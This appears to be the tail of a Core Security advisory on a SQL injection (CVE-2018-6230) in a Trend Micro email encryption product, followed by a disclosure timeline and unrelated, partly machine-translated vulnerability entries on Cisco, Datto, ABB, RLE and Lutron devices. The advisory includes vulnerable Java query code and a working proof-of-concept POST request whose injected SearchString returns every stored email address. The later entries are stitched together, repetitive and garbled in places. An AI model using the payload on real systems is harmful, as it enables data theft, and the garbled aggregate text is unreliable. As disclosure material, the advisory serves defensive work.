Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

A vulnerability in the use of JSON web tokens by the web-based service portal of Cisco Elastic Services Controller Software could allow an unauthenticated, remote attacker to gain administrative access to an affected system. The vulnerability is due to the presence of static default credentials for the web-based service portal of the affected software. An attacker could exploit this vulnerability by extracting the credentials from an image of the affected software and using those credentials to generate a valid administrative session token for the web-based service portal of any other installation of the affected software. A successful exploit could allow the attacker to gain administrative access to the web-based service portal of an affected system. This vulnerability affects Cisco Elastic Services Controller Software Release 3.0.0. Cisco Bug IDs: CSCvg30884. Vendors have confirmed this vulnerability Bug ID CSCvg30884 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This may lead to further attacks. service portal is one of the web-based business system portals

Datto ALTO and SIRIS devices allow Remote Code Execution via unauthenticated requests to PHP scripts. Datto ALTO and SIRIS The device contains an input validation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Both Datto ALTO and SIRIS are products of Datto Company in the United States. Datto ALTO is a suite of continuity solutions using image-based backup and hybrid cloud models. SIRIS is a suite of solutions that provide data backup, recovery and business continuity for on-premises, virtual and cloud environments within a single platform. A security vulnerability exists on Datto ALTO and SIRIS devices due to the use of static passwords for VNC that is turned on by default. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements

An Information Exposure issue was discovered in ABB netCADOPS Web Application Version 3.4 and prior, netCADOPS Web Application Version 7.1 and prior, netCADOPS Web Application Version 7.2x and prior, netCADOPS Web Application Version 8.0 and prior, and netCADOPS Web Application Version 8.1 and prior. A vulnerability exists in the password entry section of netCADOPS Web Application that may expose critical database information. Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks

Datto ALTO and SIRIS devices have a default VNC password. Datto ALTO and SIRIS The device contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Both Datto ALTO and SIRIS are products of Datto Company in the United States. Datto ALTO is a suite of continuity solutions using image-based backup and hybrid cloud models. SIRIS is a suite of solutions that provide data backup, recovery and business continuity for on-premises, virtual and cloud environments within a single platform. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements

An issue was discovered on RLE Wi-MGR/FDS-Wi 6.2 devices. Persistent XSS exists in the web server. Remote attackers can inject malicious JavaScript code using the device's BACnet implementation. This is similar to a Cross Protocol Injection with SNMP. RLE Wi-MGR/FDS-Wi The device contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. RLE Wi-MGR / FDS-Wi is a wireless monitoring device

An issue was discovered on Lutron Quantum BACnet Integration 2.0 (firmware 3.2.243) devices. Remote attackers can obtain potentially sensitive information via a /DbXmlInfo.xml request, as demonstrated by the Latitude/Longitude of the device. Lutron Quantum BACnet Integration is a lighting control system developed by Lutron Electronics in the United States

Datto ALTO and SIRIS devices allow remote attackers to obtain sensitive information about data, software versions, configuration, and virtual machines via a request to a Web Virtual Directory. Datto ALTO and SIRIS The device contains an information disclosure vulnerability.Information may be obtained. Both Datto ALTO and SIRIS are products of Datto Company in the United States. Datto ALTO is a suite of continuity solutions using image-based backup and hybrid cloud models. SIRIS is a suite of solutions that provide data backup, recovery and business continuity for on-premises, virtual and cloud environments within a single platform

Datto ALTO and SIRIS devices allow remote attackers to obtain sensitive information via access to device/VM restore mount points, because they do not have ACLs by default. Datto ALTO and SIRIS The device contains an information disclosure vulnerability.Information may be obtained. Both Datto ALTO and SIRIS are products of Datto Company in the United States. Datto ALTO is a suite of continuity solutions using image-based backup and hybrid cloud models. SIRIS is a suite of solutions that provide data backup, recovery and business continuity for on-premises, virtual and cloud environments within a single platform